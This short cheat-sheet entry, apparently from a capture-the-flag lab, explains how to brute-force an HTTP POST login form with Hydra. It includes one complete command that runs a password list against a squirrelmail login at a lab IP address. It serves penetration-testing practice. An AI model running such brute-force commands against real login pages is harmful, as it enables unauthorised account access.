Hydra - HTTP Form POST Bruteforce
Inspect the login request in the browser Network tab to identify the parameter format. The :F= directive specifies the failure indicator string.
Example
hydra -l milesdyson -P log1.txt 10.10.238.31 -V http-form-post '/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect.'